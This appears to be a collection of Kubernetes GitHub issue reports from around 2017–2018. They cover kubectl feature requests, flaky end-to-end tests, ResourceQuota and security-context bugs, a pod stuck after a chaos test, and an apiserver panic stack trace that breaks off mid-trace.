1.7.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : 4.4.78-k8s\r - install tools: kops\r - others:\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r there's an  extremely helpful  option to add a column based on a particular label to the outpout of  kubectl get :\r \r    \r $ kubectl help get | grep -- '-l'\r   -l, --label-columns=  : accepts a comma separated list of labels that are going to be presented as columns. names are case-sensitive. you can also use multiple flag options like -l label1 -l label2...\r    \r \r it'd be great if there were a similar option for annotations   -a  /  --annotation-columns ? \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.1\ , gitcommit:\ 75d2af854b1df023c7ce10a8795b85d3dd1f8d37\ , gittreestate:\ clean\ , builddate:\ 2018-05-10t17:23:18z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  :  darwin 17.4.0 darwin kernel version 17.4.0: sun dec 17 09:19:54 pst 2017; root:xnu-4570.41.2~1/release_x86_64 x86_64 \r - install tools:\r - others:\r \r cc @jamadeo

hi\r --kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ \ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r --- os\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r - kernel \r linux rancher-server 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r   what happened:  \r when app websocket  was closed status of client websocket was closed  ,close_wait connections on master node were not released.\r ! 1120180731180756  https://user-images.githubusercontent.com/18571576/43453532-f5390312-94ec-11e8-8f90-7c03174d4070.jpg \r \r \r   app deployment:  \r app websocket   --> kube-proxy --> svc nodeport \r \r   svc:  \r \r ! 20180731180527  https://user-images.githubusercontent.com/18571576/43453317-610bdc8c-94ec-11e8-938c-a621b7b55aec.jpg \r thanks.\r \r \r \r \r

list of directories in:\r https://github.com/kubernetes/kubernetes/tree/master/staging/src/k8s.io\r \r does not match the list here:\r https://github.com/kubernetes/kubernetes/tree/master/staging\r \r /good-first-issue

i know  gcloud container clusters  will get the credentials of a cluster and  kubectl config view clustes  will show those credentials. how do i do the opposite?  remove a cluster from what kubectl shows me .   i have lots of random clusters that are long dead in my kubeconfig. i tried some obvious things with no luck:      $ kubectl config delete usage:   kubectl config subcommand  flags    kubectl config  command   available commands:   view            displays merged kubeconfig settings or a specified kubeconfig file.   set-cluster     sets a cluster entry in kubeconfig   set-credentials sets a user entry in kubeconfig   set-context     sets a context entry in kubeconfig   set             sets an individual value in a kubeconfig file   unset           unsets an individual value in a kubeconfig file   current-context displays the current-context   use-context     sets the current-context in a kubeconfig file  $ gcloud container clusters delete gke_kubernetesdev_us-central1-b_cluster-1 the following clusters will be deleted.  -  gke_kubernetesdev_us-central1-b_cluster-1  in  us-central1-b   do you want to continue  y/n ?  y  error:  gcloud.container.clusters.delete  some requests did not succeed:  - responseerror: code=404, message=the resource \ projects/kubernetesdev/zones/us-central1-b/clusters/gke_kubernetesdev_us-central1-b_cluster-1\  was not found. no cluster named 'gke_kubernetesdev_us-central1-b_cluster-1' in kubernetesdev.  $ kubectl config view | grep gke_kubernetesdev_us-central1-b_cluster-1   name: gke_kubernetesdev_us-central1-b_cluster-1  $ gcloud container clusters list  name  zone  master_version  master_ip  machine_type  node_version  num_nodes  status listed 0 items.       is there an alternative to opening kubeconfig and deleting by hand? this combined with https://github.com/kubernetes/kubernetes/issues/20374 will make the cluster swapping operations more friendly imo  @kubernetes/kubectl

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/367/  failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality should handle healthy pet restarts during scale {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:107 expected error:     < errors.errorstring | 0xc4204b20b0>: {         s: \ timeout waiting for pv provisioner to delete pvs, this might mean the test leaked pvs.\ ,     }     timeout waiting for pv provisioner to delete pvs, this might mean the test leaked pvs. not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:1067

test has been failing <20% of the time in  ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-master  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-master/ . sample failure:  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-master/11 \r \r based on spreadsheet tracking 1.5 upgrade test failures created by @krousey.\r \r cc: @random-liu, can you add the appropriate labels and assign me? can you also add me to the spreadsheet for this test?

k8s.io  kubectl client  k8s.io  simple pod should handle in-cluster config failing in the following tests:\r  gce-1.6-master-cvm-kubectl-skew  https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gce-1.6-master-cvm-kubectl-skew&width=80 \r  gce-1.6-master-gci-kubectl-skew  https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gce-1.6-master-gci-kubectl-skew&width=80 \r api server and kubectl are 1.6 and kubectl is built from head  considered as 1.7 \r \r the test is failing with 2 types:\r -   kubectl not found   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-master-cvm-kubectl-skew/44 \r -  unexpected value  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-master-cvm-kubectl-skew/25 \r \r cc: @pwittrock @fabianofranz @ethernetdan @calebamiles @shiywang

from what i grok in the kube-controller-manager there are a series of time based loops to check different aspects of the system  node health, replication controllers, and quota .    ideally a chaos monkey test would kill nodes and evaluate time to recover, and death spiral avoidance.

bug report   \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  : \r 1.7.x with a 1.6.x kubectl or any version of helm based on a vendored client at that version.\r \r \r   environment  : \r this is an api issue affecting all environments.\r \r \r   what happened  :\r when you attempt to apply or create a manifest containing any containers  e.g. daemonset, statefulset, deployment  with a podtemplatespec with any container having podsecuritycontext that attempts to set runasuser or fsgroup you will get an error message indicating that those fields are invalid.\r \r   what you expected to happen  :\r i expect to be able to create a pods that do not run as root.\r \r \r   how to reproduce it  :\r build and install a 1.6.3 client and kube-up a cluster off of master. attempt to create a manifest that uses the described features of security context.  here  https://github.com/kow3ns/kubernetes-zookeeper/blob/master/manifests/zookeeper.yaml  is an example.\r \r \r   anything else we need to know  :\r  this  https://github.com/kubernetes/kubernetes/commit/9440a68744ea97a45ceeef6d75466405ac101ea1  looks like the commit that modifies the v1/types.go in an incompatible way.

this issue is forked off from  42002\r \r  20204 moved the core scheduler predicates  the one used in kubelet admission  into a \ library\  function called generalpredicates so it could be shared with the default scheduler and with components that need to do \ simulation\   need to know whether a particular pod will schedule  like rescheduler, cluster autoscaler, daemonset controller, etc.\r \r this approach doesn't account for the fact that a cluster admin might replace the default scheduler with one whose predicates are stricter  or run alongside the default scheduler one whose predicates are stricter . it may give wrong results in such a situation. in fact this is even true if you use the default scheduler but use the scheduler policy config file to enable extra predicates  because such extra predicates will not show up in generalpredicates .\r \r we should do two things\r \r  1  to handle the \ using default scheduler but enabled extra predicates\  case, make the \ predicate library\  that the \ simulators\  use take the scheduler policy config into account\r \r  2  to handle the \ using a replacement scheduler with stricter predicates\  case, either figure out how to make that work with the \ predicate library\  approach  but that seems impossible without requiring to recompile the components that do simulation, to link in the new predicate library , or require scheduler authors to have their schedulers  including default scheduler  export a \ dry run\  endpoint that takes a pod and tells you which nodes it can schedule onto  without modifying any of the scheduler's internal state . there is more discussion of this idea  suggested by @bgrant0607  in  42002. note that it is a little more complicated than what i described because cluster autoscaler wants to know if a pending pod will schedule if a new node is hypothetically added to the cluster.\r \r cc/ @kubernetes/sig-scheduling-feature-requests \r cc/ @kubernetes/sig-autoscaling-feature-requests \r cc/ @bgrant0607

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i enabled the  resourcequota  by special  --admission-control=limitranger,resourcequota  in  api-server , and created a namespace  jian  , as the below:\r    \r root@slave2:/home/zhangjian/testk8s  kubectl get ns\r name          status    age\r default       active    49m\r jian          active    43m\r kube-public   active    49m\r kube-system   active    49m\r    \r created a quota yaml.\r    yaml\r name:\t\tjian\r labels:\t\t<none>\r annotations:\t<none>\r status:\t\tactive\r \r resource quotas\r  name:\t\t\tcompute-resources\r  resource\t\tused\thard\r  --------\t\t---\t---\r  limits.cpu\t\t0\t1\r  limits.memory\t\t0\t1gi\r  pods\t\t\t0\t4\r  requests.cpu\t\t0\t500m\r  requests.memory\t0\t512mi\r \r no resource limits.\r    \r setting resource quota by  kubectl create -f quota.yaml --namespace=jian , description as the below:\r    \r root@slave2:/home/zhangjian/testk8s  kubectl describe ns jian\r name:\t\tjian\r labels:\t\t<none>\r annotations:\t<none>\r status:\t\tactive\r \r resource quotas\r  name:\t\t\tcompute-resources\r  resource\t\tused\thard\r  --------\t\t---\t---\r  limits.cpu\t\t0\t1\r  limits.memory\t\t0\t1gi\r  pods\t\t\t0\t4\r  requests.cpu\t\t0\t500m\r  requests.memory\t0\t512mi\r \r no resource limits.\r     \r but, when created a pod which 2 cpu exceed the resource quota in that namespace , i didn't get any the rejection message. \r    \r root@slave2:/home/zhangjian/testk8s  kubectl create -f ns_jian.yaml \r replicationcontroller \ withgpu\  created\r root@slave2:/home/zhangjian/testk8s  kubectl get pods --all-namespaces\r no resources found.\r root@slave2:/home/zhangjian/testk8s  kubectl describe ns jian\r name:\t\tjian\r labels:\t\t<none>\r annotations:\t<none>\r status:\t\tactive\r \r resource quotas\r  name:\t\t\tcompute-resources\r  resource\t\tused\thard\r  --------\t\t---\t---\r  limits.cpu\t\t0\t1\r  limits.memory\t\t0\t1gi\r  pods\t\t\t0\t4\r  requests.cpu\t\t0\t500m\r  requests.memory\t0\t512mi\r \r no resource limits.\r    \r and, re-created it, got the following errors, i couldn't find this pod in any where.\r    \r root@slave2:/home/zhangjian/testk8s  kubectl create -f ns_jian.yaml \r error from server  alreadyexists : error when creating \ ns_jian.yaml\ : replicationcontrollers \ withgpu\  already exists\r    \r my pod request like this:\r    yaml\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: withgpu\r   namespace: jian\r spec:\r   replicas: 1\r   selector:\r     app: withgpu\r   template:\r     metadata:\r       name: withgpu\r       labels:\r         app: withgpu\r     spec:\r       containers:\r       - name: withgpu1\r         image: nvidia/cuda:jian\r         command:  \ /bin/sh\ , \ -c\  \r         args:  \ tail -f /dev/null\  \r          args:  \ sleep 20\  \r         resources:\r           limits:\r             alpha.kubernetes.io/nvidia-gpu: 0\r             cpu: 2\r             memory: 512mi\r         ports:\r         - containerport: 80\r    \r   what you expected to happen  :\r i hope get the rejection info or errors  when my pod request exceed the resource quota.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the steps on the above.\r \r   anything else we need to know?  :\r node info:\r    \r capacity:\r  alpha.kubernetes.io/nvidia-gpu:\t1\r  cpu:\t\t\t\t\t2\r  memory:\t\t\t\t3883540ki\r  pods:\t\t\t\t\t110\r    \r   environment  :\r - kubernetes version  use  kubectl version  : release-1.7\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :ubuntu 14.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this is similar to  30656.\r \r if  docker exec  is used for the  exec  endpoint, then it would be better to have an  env  parameter working like the one of  docker exec . at least better than pasting the environment variables into the command and having to deal with escaping issues..\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r now i use openstack as a cloud provide to run kubernetes, through the monitoring metrics have optimized the stability of the kubernetes cluster and scalability. the volume operation metrics help mea lot, let me know the time to call openstack interface, why not add loadbalance and node operation metrics in openstack cloud provider, i think it is very meaningful.\r \r   what you expected to happen  : add loadbalance and node operation metrics in openstack cloud provider, likes the volume operation metrics.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the openstack cloud provider run kubernetes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @dims @anguslees

/  \r this test case has been failing for a while and affects a number of jobs:  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-network%5c%5d%20networking%20granular%20checks%3a%20services%20%5c%5bslow%5c%5d%20should%20function%20for%20client%20ip%20based%20session%20affinity%3a%20http 87b694524eb439d53a6f \r \r this is affecting multiple jobs on the release-master-blocking dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 . is there work ongoing to bring this job back to green?\r \r possibly related:\r -  53835\r -  53568\r \r  triage cluster 679a79064b46aae4d4b3  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-network%5c%5d%20networking%20granular%20checks%3a%20services%20%5c%5bslow%5c%5d%20should%20function%20for%20client%20ip%20based%20session%20affinity%3a%20http 679a79064b46aae4d4b3 \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:225\r oct 18 09:36:14.886: expect endpoints: map  , got: map netserver-0:{} \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:222\r

/  \r this job is on the release-master-blocking dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce\r \r it looks like the issue is log collection.  probably the same issue that's affecting the presubmit?\r \r https://k8s-testgrid.appspot.com/presubmits-kubernetes pull-kubernetes-e2e-kubeadm-gce\r \r /assign @dims\r since it looks like you're already on this with:\r - kubernetes/kubernetes 54623\r - kubernetes/kubernetes 54813\r

 \r \r   what happened  :\r \r our chaos testing will occasionally launch a pod with an absurd number of sidecar containers  100 is typical . each container uses a docker image of nominal size  ~200-500mb  to ensure a typical startup time, and then runs  sleep 600  before exiting  0 . after all containers exit,  kubectl  reports the pod status as either  completed  or  terminating  but gets stuck with ready statuses such as  56/100 .\r \r sshing into the affected node, all systems appear to be functioning properly. docker logs indicate that kubelet is attempting to stop and kill containers that are already stopped. a selection of interesting log messages often look like this:\r \r     $ sudo journalctl -fex -u docker.service\r     mar 19 09:08:10 kubernetes-node-prod-a-8002 dockerd 44845 : time=\ 2018-03-19t09:08:10.560177319z\  level=error msg=\ handler for post /v1.27/containers/69af45de91290878ad6cf681a852065708399c7915da1c7679bbc2137b52b210/stop returned error: container 69af45de91290878ad6cf681a852065708399c7915da1c7679bbc2137b52b210 is already stopped\ \r     mar 19 09:08:11 kubernetes-node-prod-a-8002 dockerd 44845 : time=\ 2018-03-19t09:08:11.525745083z\  level=error msg=\ handler for post /v1.27/containers/69af45de91290878ad6cf681a852065708399c7915da1c7679bbc2137b52b210/stop returned error: container 69af45de91290878ad6cf681a852065708399c7915da1c7679bbc2137b52b210 is already stopped\ \r     mar 19 09:08:11 kubernetes-node-prod-a-8002 dockerd 44845 : time=\ 2018-03-19t09:08:11.882695366z\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 38bcf0827a81590529e87a7c4d4d9c21afd657a2e5cae916dbc0b4938637dc57\ \r       ...  \r     mar 19 09:28:29 kubernetes-node-prod-a-8002 dockerd 44845 : time=\ 2018-03-19t09:28:29.806966540z\  level=error msg=\ handler for delete /v1.27/containers/4ca40e31c172df4431fb9e787e9e9767a862525dff7c9d6dfa79f0eac9cf1d26 returned error: you cannot remove a running container 4ca40e31c172df4431fb9e787e9e9767a862525dff7c9d6dfa79f0eac9cf1d26. stop the container before attempting removal or use -f\ \r     mar 19 09:28:45 kubernetes-node-prod-a-8002 dockerd 44845 : time=\ 2018-03-19t09:28:45.262299586z\  level=error msg=\ handler for post /v1.27/containers/create returned error: conflict. the container name \\\ /k8s_mysql053_booking-massive-pod-1521450000-xhhgv_chaos-monkey_ea6a3f4f-2b53-11e8-8540-e0071b6beff0_0\\\  is already in use by container 40515d89aaf8b550b40db72f1ff19808746d13a1bcc1d94d9fe454eab9304a28. you have to remove  or rename  that container to be able to reuse that name.\ \r \r restarting  kubelet.service  will resolve the hangup and allow the pods to be marked  completed 0/100  and disappear.\r \r   what you expected to happen  :\r \r once containers exit 0, the pod should report  completed 0/100  and the pod should disappear from  kubectl get pods  unless the  -a  flag is provided.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a pod with ~100 containers.\r \r   anything else we need to know?  :\r \r we created this test because of a bug we saw in earlier versions of openshift and docker, and were attempting to verify that we would not see the same reproduced in more modern, vanilla kubernetes. due to this error, we are confident - but cannot be certain - that the issue has been resolved.\r \r   environment  :\r \r - kubernetes 1.9.3\r - bare metal\r - centos 7\r - linux kubernetes-node-prod-a-8002 4.14.18-1.el7.x86_64  1 smp fri feb 9 13:55:53 cet 2018 x86_64 x86_64 x86_64 gnu/linux\r

 \r unfortunately we can't reproduce it but the stack trace might help figure out where the issue is.\r \r in k8s 1.9.8\r    \r trace 418895602 :  1m0.000482196s   1m0.000482196s  end\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x38 pc=0xf2dcf2 \r \r goroutine 30886076  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.auditeventfrom 0x0, 0x0, 0xc4255fc740 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/context.go:158 +0x22\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x0, 0x0, 0x8e5eea0, 0xc4255fc740, 0xc42532ea70, 0x9, 0xc42532ea7a, 0x2, 0x7f4cd07b81b0, 0xc423bc0f00, ... \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:118 +0x1b6\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x0, 0x0, 0x8e3ad60, 0xc4258ad460, 0x8e5eea0, 0xc4255fc740, 0xc42532ea70, 0x9, 0xc42532ea7a, 0x2, ... \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:142 +0x163\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc4249d4f00, 0x8e3ad60, 0xc4258ad460, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:67 +0x10c\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.updateresource.func1 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/update.go:55 +0x1acd\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.  crdhandler .servehttp 0xc420448b00, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:211 +0xcd1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc422a09e00, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x26d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc42013be30, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3ae4107, 0x17, 0xc42082c870, 0xc42013be30, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420969b00, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t<autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4264d5000, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:254 +0x407\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc42063e2a0, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3ac5cb4, 0xe, 0xc42082ccf0, 0xc42063e2a0, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4208a97e0, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t<autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc424860180, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x15f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc428d8ab40, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x26d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc421985570, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3ac89a1, 0xf, 0xc421a5d9e0, 0xc421985570, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc423abf580, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t<autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37d\r net/http.handlerfunc.servehttp 0xc4229ea320, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:165 +0x42a\r net/http.handlerfunc.servehttp 0xc422a32f00, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x203a\r net/http.handlerfunc.servehttp 0xc4229ea370, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b1\r net/http.handlerfunc.servehttp 0xc4229ea3c0, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r \t/workspace/anago-v1.9.8-beta.0.40+c138b851781560/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r net/http.handlerfunc.servehttp 0xc423abf5a0, 0x7f4cd07b81b0, 0xc423bc0f00, 0xc425f33200 \r 